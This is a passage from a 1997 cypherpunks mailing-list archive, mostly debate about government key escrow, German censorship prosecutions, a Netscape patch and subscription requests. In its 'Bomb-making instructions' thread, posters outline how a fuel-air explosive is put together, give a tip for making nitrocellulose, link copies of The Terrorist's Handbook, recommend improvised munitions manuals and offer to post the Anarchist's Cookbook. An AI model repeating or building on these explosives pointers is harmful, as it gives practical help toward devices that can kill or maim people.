ply their trade.  By banning all safety instructions related to 
explosives, we will save American lives and make the world safe
for our children.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 29 Jun 1997 02:07:31 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: CIA's Manual on Assassination Politics
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970628110214.039d4504@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 AM 6/28/97 -0700, Tim May wrote:
>Likewise, anyone interested in Assassination Politics should get ahold of
>the CIA's training manual for assassins and covert operatives. 
[...]

Until that manual becomes available, the reader may wish to take a look at:

"Intelligence Tactics, Techniques and Procedures (TTP) for Operations Other
Than War (OOTW)"
G2/S2
82nd Airborne Division
Guidelines and Lessons Learned

About $7 at the gun show.

>(And various CIA and DIA agents in various countries have their names
>published in the opposition press, the same kinds of press that Germany and
>other neo-fascist regimes are shutting down, a al Radikal and Integral and
>whatnot.)

In Europe, shit has long hit the fan. The member of the German parliament
under indictment for linking to the Radikal webpage is now also being
prosecuted for making the charges against her public. Seems it is illegal
in Germany to publicize any federal charges filed against you. The Geheime
[Secret, ed.] Staats Polizei roams the German streets again. Truly scary
stuff. And, yes, it can happen here.

[The defendant has a facsimile of the official court document on her
webpage. Guess that's going to be another count].


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 02:18:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <v03102808afdafebb16c7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:11 AM -0700 6/28/97, Kent Crispin wrote:

>So how is that different than the current situation without
>cryptography?  If people couldn't live with key escrow, how can they
>live with the current situation?  Answer:  they live with the current
>situation because the government abuses you describe are kept below
>the revolution threshold.  The same would be the case with key escrow.

Not intending to squelch the thread by invocation of Godwin's Law, but how
does Nazi Germany fit into this model?

In case this isn't clear, the concern is that a GAK system is very
dangerous should a Nazi-like regime develop (or even should a J. Edgar
Hoover and/or Craig Livingstone regime develop). While regimes  of the past
few decades _may_ not be abusive in this way (apologies to Reagan, Bush,
and Clinton haters out there), the deployment of GAK would be a tempting
target for future despots and satraps.

Thanks, but I'll keep my own records, my own crypto keys, and my own money.

...

>But so what? Right now the government has intimate knowledge of your
>finances through tax records and other sources, and has the power to
>put liens on your property and your cash for all kinds of reasons.

This overstates the knowledge the government has of our finances. Much as I
oppose the IRS in so many ways, they are basically clueless about a whole
raft of transactions. The tax laws stipulate that incomes be reported, but
not what money is spent for, not to whom monies are paid (unless one is an
employer or a few other described situations), etc.

As to the future, I agree that there will be more consolidation and
cross-linking of data bases--including some the IRS has no _statutory_
access to (e.g., credit reporting , databases, absent a court order, though
apparently the CRAs are malleable).

By combining tax records, bank records, local property tax records, credit
card records, travel records (airlines, etc.), and so on, a much more
complete "citizen-unit tracking" data base can be built. This is something
most of us are fighting, in various ways, not something we should accept as
par for the course when contemplating GAK.

My view on GAK is quite simple: let those who wish to escrow their keys do
so. Let those who don't wish to keep their own keys and use crypto
algorithms of any strength they desire.


>Assuming certain models of key escrow, yes.  Under other models, no.
>But imagine the worst case -- GAK creates a huge unwieldy expensive
>computerized infrastructure and associated bureacracy.  What
>happens?  Businesses find other ways to protect their data and
>transactions, huge economic inefficiencies develop, and the whole
>thing collapses and goes away.
>
>It's amazing how little faith libertarians have in the market system,
>isn't it?  :-)

A cheap shot, even taking into account Kent Crispin's shilling for GAK.

If a key escrow system is in fact purely voluntary, who cares? I, for one,
don't.

(Though I often look at "voluntary" systems with an eye toward what I call
the "flag day scenario," where a legislative or executive-level "switch" is
thrown and what was once voluntary becomes mandatory. I oppose government
involvement in infrastructures which could too easily become mandatory.)

As various business groups have been reporting (check the archives for many
such mentions), there may be various needs for forms of "key deposit" and
"key recovery," and corporations often already have them. Typically they
involve data warehousing, keys deposited with company lawyers, etc. Many of
us keep written descriptions of our cryptographic keys/passphrases in safe
deposit boxes, or in sealed envelopes left in the care of friends or
family. This is partly to protect against the "I forgot my passphrase"
scenario, partly to allow reconstruction of files under various dire
circumstances, etc.

But these business groups have said clearly they don't want Big Brother
holding a master key to their communications and files!

And, as nearly all of us (_nearly_ all of us!) have pointed out,
repeatedly, whatever the putative need for key recovery is within
corporations, there is essentially no need for such a thing for
*communications*! The only viable customer for a communications key is
someone who has intercepted the communication!

Neither the sender, who has the files on his local disk, possibly
cryptographically protected under a key that the corporation wants a key
recovery program for, nor the receiver, who has the plaintext, or who
stores the received file in the same way, are customers for a GAK system
that involves the communications channel.

So, will government please drop all consideration of "key recovery" for
_communications_?

(I rather doubt this.)

>Governments have devalued currencies many many times in the past
>without the need of key escrow...key escrow is an independent issue.

Sure, but one of the potential advantages of strong crypto is the
oft-discussed "denationalization of money." Leading bankers are beginning
to see the light on this.

(See, for example, the cover story in "Wired" several months ago, where the
blurb was about Walter Wriston "sounding like a cypherpunk.")

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 02:23:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CIA's Manual on Assassination Politics
In-Reply-To: <v03102807afdaf4009156@[207.167.93.63]>
Message-ID: <v03102809afdb0578ac05@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:02 AM -0700 6/28/97, Lucky Green wrote:

>In Europe, shit has long hit the fan. The member of the German parliament
>under indictment for linking to the Radikal webpage is now also being
>prosecuted for making the charges against her public. Seems it is illegal
>in Germany to publicize any federal charges filed against you. The Geheime
>[Secret, ed.] Staats Polizei roams the German streets again. Truly scary
>stuff. And, yes, it can happen here.
>
>[The defendant has a facsimile of the official court document on her
>webpage. Guess that's going to be another count].

"But if it saves the life of just one child!!!"

We are trading away our liberty for bullshit assurances of safety,
security, and protection from the Big Bad Wolf. (*)

The Founders had it right when they talked about those trading freedom for
security and safety deserving neither.

--Tim May

(* And of course the restrictions on publications of various items are
really designed to protect Those in Power; thus has it always been, thus
shall it always be.)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sun, 29 Jun 1997 00:50:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <3.0.2.32.19970628124035.006c39ac@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 03:32 PM 6/28/97 GMT, Brian Lane wrote:
>
>On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:
>
>>An Email Trail from Bug Spotter to
>>           Netscape
>>           6:01pm  13.Jun.97.PDT The following is a copy of the
>>           email exchange between Netscape officials and
>
>[rest snipped]
>
>  Notice that none of this exchange is signed in any way. I don't
>doubt Netscape's claim as to what happened, but really this is just a
>bunch of letters assembled in the right order. There's no reason to
>trust the contents.


This reminded me to ask if anyone knows if, per their statement, Netscape
intends to u/l a patch for the 3.x versions.  When I checked yesterday, I
didn't see any reference to it.

*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 29 Jun 1997 01:08:29 +0800
To: CrShNDy@aol.com
Subject: Re: mailing list
In-Reply-To: <970628033152_-2097406877@emout16.mail.aol.com>
Message-ID: <Pine.GSO.3.95.970628125717.1880A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



No. Never.

-Declan

On Sat, 28 Jun 1997 CrShNDy@aol.com wrote:

> I want on the mailing list please
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 29 Jun 1997 04:55:57 +0800
To: Lucky Green <ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706280416.XAA04026@manifold.algebra.com>
Message-ID: <v03102804afdb0be67158@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:44 AM -0700 6/28/97, Lucky Green wrote:
>I would urge anyone interested in explosives, but unfamiliar with them, to
>first read the following books before attempting any recipes out of the
>"Anarchist's Cookbook" and similar publications. Your
>extremities/eyes/health will thank you.
>
>TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
>TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
>Techniques: Incendiaries"

See http://www.deltech.net/members/sniper/anarchy/hbook/Blkbook.txt

or http://phoenix.phreebyrd.com/~nero/tth/thb_title.html for a good copy of
The Terrorist's Handbook.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 29 Jun 1997 01:54:06 +0800
To: cypherpunks@ssz.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> At 11:16 PM 6/27/97 -0500, Igor Chudov @ home wrote:
> >Making explosives is very dangerous even if the recipes are right. I
> >personally knew many kids who lost fingers, eyes and other body organs
> >due to careless handling of homemade explosives. Probably, the important
> >thing to do before bombmaking is to learn the safety rules.
> 
> I would urge anyone interested in explosives, but unfamiliar with them, to
> first read the following books before attempting any recipes out of the
> "Anarchist's Cookbook" and similar publications. Your
> extremities/eyes/health will thank you.

Just for the record, _The Anarchist's Cookbook_ is full of
purposefully dangerous misinformation. It is written so that if you
follow enough of its recipies, you *will* kill yourself. I suggest old
archives or the newsgroup rec.pyrotechnics, which, until is self-
censored itself, provided excellent safety advice as well as how to
make things go boom. I'd imagine that there is still a wealth of
information about safety.

BTW, when making nitrocellulose, ice baths are your friends, cold
water will just not do. 

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 29 Jun 1997 04:59:19 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <v03102800afdb06602502@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:16 PM -0500 6/27/97, Igor Chudov @ home wrote:
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.
>
>I agree with you though that certain recipes and chemicals are unsafe
>no matter how carefully to handle them.

Especially chlorates, perchlorates, fulminates and azides.

You want something which isn't shock sensitive.

If someone is going to write such a book it should include good
instructions for fuel-air explosives.  These can be little more than a
container of gasoline atop a small hig-explosive charge to atomisze,
disperse and ignite the fuel.  They can produce incredible pressure waves
from relatively small amounts of material.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 06:39:34 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
Message-ID: <199706282214.PAA09700@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Why the fuck are there so many requests from aol ?
thats eerie if you ask me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sat, 28 Jun 1997 23:38:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <33b82e1e.39281810@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:

>An Email Trail from Bug Spotter to
>           Netscape
>           6:01pm  13.Jun.97.PDT The following is a copy of the
>           email exchange between Netscape officials and

[rest snipped]

  Notice that none of this exchange is signed in any way. I don't
doubt Netscape's claim as to what happened, but really this is just a
bunch of letters assembled in the right order. There's no reason to
trust the contents.

  Brian


----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
-----------  1024/57B17CA9 96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  -------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 29 Jun 1997 06:47:08 +0800
To: cypherpunks@Algebra.COM
Subject: details of 6/26 action on HR 695??
Message-ID: <3.0.32.19970628122120.0068d2f8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello Washington watchers - 
Hey, what are the **details** ?
Are these the same amendments from before, or new ones?




Congressional Record: June 26, 1997 (House)]
[Page H4834]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
[DOCID:cr26jn97-74]



 
                  REPORTED BILL SEQUENTIALLY REFERRED

  Under clause 5 of rule X, the following action was taken by the 
Speaker:

       H.R. 695. A bill to amend title 18, United States Code, to 
     affirm the rights of U.S. persons to use and sell encryption 
     and to relax export controls on encryption; with an 
     amendment; referred to the Committees on Commerce, National 
     Security, and the Permanent Select Committee on intelligence 
     for a period ending not later than September 5, 1997, for 
     consideration of such provisions of the bill and amendment 
     reported by the Committee on the Judiciary as fall within the 
     jurisdiction of those committees pursuant to clause 1(e) and 
     (k), rule X and rule XLVIII, respectively.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sat, 28 Jun 1997 23:50:31 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <Pine.LNX.3.91.970619094828.559E-100000@fatmans.demon.co.uk>
Message-ID: <33b93059.39852907@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 19 Jun 1997 09:53:23 +0000 (   ), you wrote:

>> C2Net is the leading worldwide provider of uncompromised Internet
>> security software. C2Net's encryption products are developed
entirely
>> outside the United States, allowing the firm to offer full-strength
>> cryptography solutions for international communications and
>> commerce. 
>
>C2Net also censor all dissenters over the security of their products,
try 
>it if you want to prove my point, just post a message to a security
forum 
>questioning the security of stronghold.
>

  It seems to me that we now have to take all posts from sameer with a
large grain of salt. Now that he has a vested interest in a security
product all of his posts are just Marketing Propaganda and over
statment. This is wrong when either side of the issue does it (ie. the
claim that strong crypto will only be useful to terrorists rhetoric).

  Personally I'd like to see these posts dissapear from the mailing
list. But of course that is just my own opinion.

  Brian

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7UxGKQxGtxXsXypAQH2mwP+NGazOXSiLf0TZsXQ9FvgVx8WScK0YL2V
wCN/EgNxXmqY1kDZa0bLSOL99whjH2CyLyoUB2Hdikx1ZGVi0qBXPIBzYEkbRgDU
CTyhVZ+2B/PqbLtOPIxhP8O7w06gC5hiIeCh2ghSOFZskqdTYAwUMs2+8jTxf09Z
76x3QLW2fw0=
=Vuye
-----END PGP SIGNATURE-----

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
-----------  1024/57B17CA9 96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  -------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 29 Jun 1997 07:03:14 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: More about Netscape Bug finder
In-Reply-To: <v030209a4afcb8c31bbc6@[139.167.130.246]>
Message-ID: <33B596B0.A6349B29@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynne L. Harrison wrote:
> 
> At 03:32 PM 6/28/97 GMT, Brian Lane wrote:
> >
> >On Mon, 16 Jun 1997 22:41:24 -0400, you wrote:
> >
> >>An Email Trail from Bug Spotter to
> >>           Netscape
> >>           6:01pm  13.Jun.97.PDT The following is a copy of the
> >>           email exchange between Netscape officials and
> >
> >[rest snipped]
> >
> >  Notice that none of this exchange is signed in any way. I don't
> >doubt Netscape's claim as to what happened, but really this is just a
> >bunch of letters assembled in the right order. There's no reason to
> >trust the contents.
> 
> This reminded me to ask if anyone knows if, per their statement,
> Netscape intends to u/l a patch for the 3.x versions.  When I checked
> yesterday, I didn't see any reference to it.

Yes, we're working on a patch for 3.x.  It's somewhat harder to do than
patching 4.0 because we weren't set up to build 3.x anymore.  For some
of the weirder Unix platforms we had to reinstall older versions of
compilers and OSes.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 29 Jun 1997 07:28:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v0310280eafd9cb27d087@[207.167.93.63]>
Message-ID: <3.0.2.32.19970628161719.0311b334@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:20 PM 6/27/97 -0700, Alan wrote:
>I expect it will be extended further on down the line.  "Hold on a for a
>few minutes.  We seem to be having some problem with your records check."
>Meanwhile, the local/state/federal/illuminati are on their way to
>apprehend the miscreant.

Heh - it's already that way in some places if you try to
buy a car with cash :-)

>> (Somehow most people think it's OK that convicted felons lose their rights
>> to vote and to have guns. (Once they're released, of course.) Do they think
>> convicted felons no longer have religious freedom? Can no longer write as
>> they wish? Jeesh.)
>
>I find it interesting that they find the right to vote as dangerous as the
>right to own a gun.  

After the results of the 1990 Census were in, New Jersey was re-gerrymandering
their Congressional District boundaries.  Aside from the usual goals
(making sure the Republicans, who were then in power, had solid districts),
there were the usual concerns about racial balance, so they wanted to
create a district in the east-central side of the state that was mostly 
minority (largely Hispanic, in this case).  The first cut didn't have
enough minorities, so they moved the boundary to include Rahway Prison.
The legal system being what it is, the residents are largely minority .....
and most of them can't vote :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 29 Jun 1997 07:42:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <19970628163155.33743@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 28, 1997 at 11:13:17AM -0700, Tim May wrote:
> At 10:11 AM -0700 6/28/97, Kent Crispin wrote:
> 
> >So how is that different than the current situation without
> >cryptography?  If people couldn't live with key escrow, how can they
> >live with the current situation?  Answer:  they live with the current
> >situation because the government abuses you describe are kept below
> >the revolution threshold.  The same would be the case with key escrow.
> 
> Not intending to squelch the thread by invocation of Godwin's Law, but how
> does Nazi Germany fit into this model?

?How does Nazi Germany fit into any model?

> In case this isn't clear, the concern is that a GAK system is very
> dangerous should a Nazi-like regime develop (or even should a J. Edgar
> Hoover and/or Craig Livingstone regime develop). While regimes  of the past
> few decades _may_ not be abusive in this way (apologies to Reagan, Bush,
> and Clinton haters out there), the deployment of GAK would be a tempting
> target for future despots and satraps.
> 
> Thanks, but I'll keep my own records, my own crypto keys, and my own money.

Of course it would.  So would current bank/brokerage/business records. 
So would your personal records (if they were interesting) and money
(if there was enough of it).  Certainly keys in a government TTP would
be a easier target than some.  But (since we are here) Nazi Germany is
proof that there are plenty of other targets, perhaps not quite as
juicy, but just as viable.  And Nazi Germany is also proof that strong
crypto really doesn't do much good when the rubber hoses can be
deployed without hinderance.

In fact, your safety and wealth depends in large measure on the
protections provided by that government you scorn.  In any healthy
tyranny the jackboots would have been on your throat long ago,
regardless of your little arsenal, and your money would be purchasing 
toys for the rulers.

> >But so what? Right now the government has intimate knowledge of your
> >finances through tax records and other sources, and has the power to
> >put liens on your property and your cash for all kinds of reasons.
> 
> This overstates the knowledge the government has of our finances. 

Perhaps.  It's a mere matter of degree, though -- the point is that 
the government already has power to compel reporting in many cases, 
and life goes on...

[...]

> My view on GAK is quite simple: let those who wish to escrow their keys do
> so. Let those who don't wish to keep their own keys and use crypto
> algorithms of any strength they desire.

Well, good.  That's my view of it, also.

> >Assuming certain models of key escrow, yes.  Under other models, no.
> >But imagine the worst case -- GAK creates a huge unwieldy expensive
> >computerized infrastructure and associated bureacracy.  What
> >happens?  Businesses find other ways to protect their data and
> >transactions, huge economic inefficiencies develop, and the whole
> >thing collapses and goes away.
> >
> >It's amazing how little faith libertarians have in the market system,
> >isn't it?  :-)
> 
> A cheap shot, even taking into account Kent Crispin's shilling for GAK.

Like shooting fish in a barrel, really.  Anyway, you know that I don't
favor GAK, so where are you coming from?  All I have ever said is 
that there is strong corporate demand for enterprise level key 
recovery. 

> If a key escrow system is in fact purely voluntary, who cares? I, for one,
> don't.
> 
> (Though I often look at "voluntary" systems with an eye toward what I call
> the "flag day scenario," where a legislative or executive-level "switch" is
> thrown and what was once voluntary becomes mandatory. I oppose government
> involvement in infrastructures which could too easily become mandatory.)

That's the rub.  You say "voluntary -- who cares", but fight tooth and
nail when customer demand forces companies like PGP and TIS to
implement some form of key recovery -- rather than face the facts, you
claim it's all government pressure and brainwashing, and advocate
employee sabotage of company products.  Well, there certainly is
government pressure, but there is *also* legitimate, informed, demand. 

[Your description of legitimate, informed, demand deleted]

> And, as nearly all of us (_nearly_ all of us!) have pointed out,
> repeatedly, whatever the putative need for key recovery is within
> corporations, there is essentially no need for such a thing for
> *communications*! The only viable customer for a communications key is
> someone who has intercepted the communication!

Certainly.

[...]

> So, will government please drop all consideration of "key recovery" for
> _communications_?
> 
> (I rather doubt this.)

I rather doubt it, also.  However, escrow of communications keys is,
in my opinion, not only completely illegitimate, but idiotic from
a technical point of view.  So, I think this effort on the part of the
gov will fail.  

> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
> 
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

Some might see this as ultimate fascism...in the long run, putting the
force monopoly purely under control of those with money.  In any 
case, speculation.

> (See, for example, the cover story in "Wired" several months ago, where the
> blurb was about Walter Wriston "sounding like a cypherpunk.")

I generally don't read "Wired".  Geez -- I don't even have time to
read the "archives"...  :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 07:19:36 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <ms619D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> I would urge anyone interested in explosives, but unfamiliar with them, to
> first read the following books before attempting any recipes out of the
> "Anarchist's Cookbook" and similar publications. Your
> extremities/eyes/health will thank you.
>
> TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
> TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
> Techniques: Incendiaries"
>
> Both paperbacks can be purchased at any gun show for about $5 each.
>
> You also should take a look at the
> "ATF - Explosives Law and Regulation" aka "The Orange Book".
>
> It is available for free at any ATF field office. No, they won't ask for
> ID. In fact, they couldn't care less who comes by to pick up a copy.

How about running them through a scanner and putting them on a Web site?

[For various reason I'm typing this under Windows 95. Yikes! :-) ]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 07:18:58 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <Pine.GSO.3.95.970628125717.1880A-100000@cp.pathfinder.com>
Message-ID: <cw619D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



CENSORSHIP!!!!

Declan McCullagh <declan@pathfinder.com> writes:

> No. Never.
>
> -Declan
>
> On Sat, 28 Jun 1997 CrShNDy@aol.com wrote:
>
> > I want on the mailing list please
> >
> >
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 29 Jun 1997 06:59:58 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <970628033152_-2097406877@emout16.mail.aol.com>
Message-ID: <33B5A070.95C56E16@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



CrShNDy@aol.com wrote:

> I want on the mailing list please

   Awww, great, another one.  RTFM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 08:00:22 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
Message-ID: <PT719D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jeremiah A Blatz <jer+@andrew.cmu.edu> writes:
> Just for the record, _The Anarchist's Cookbook_ is full of
> purposefully dangerous misinformation. It is written so that if you
> follow enough of its recipies, you *will* kill yourself. I suggest old
> archives or the newsgroup rec.pyrotechnics, which, until is self-
> censored itself, provided excellent safety advice as well as how to
> make things go boom. I'd imagine that there is still a wealth of
> information about safety.

I have the cookbook and can post it on a Web site. A while back I asked
Jim Bell if he'd be willing to write short comments, like "this is
bullshit" and "this is dangerous" and "here's a better way to make
it stink".  If anyone knows chemistry and isn't in jail yet, please
consider doing this wortwhile project.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 29 Jun 1997 07:39:31 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <199706281603.JAA02917@fat.doobie.com>
Message-ID: <33B5AB2C.D94F2237@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer wrote:

> >I want on the mailing list please
> >
> >
> haha

   Yes, this is funny.  I rarely get to see people of this intelligence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 29 Jun 1997 11:05:52 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Bomb-making instructions....
In-Reply-To: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
Message-ID: <3.0.2.32.19970628193921.03fcbd50@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:54 PM 6/28/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>
>Jeremiah A Blatz <jer+@andrew.cmu.edu> writes:
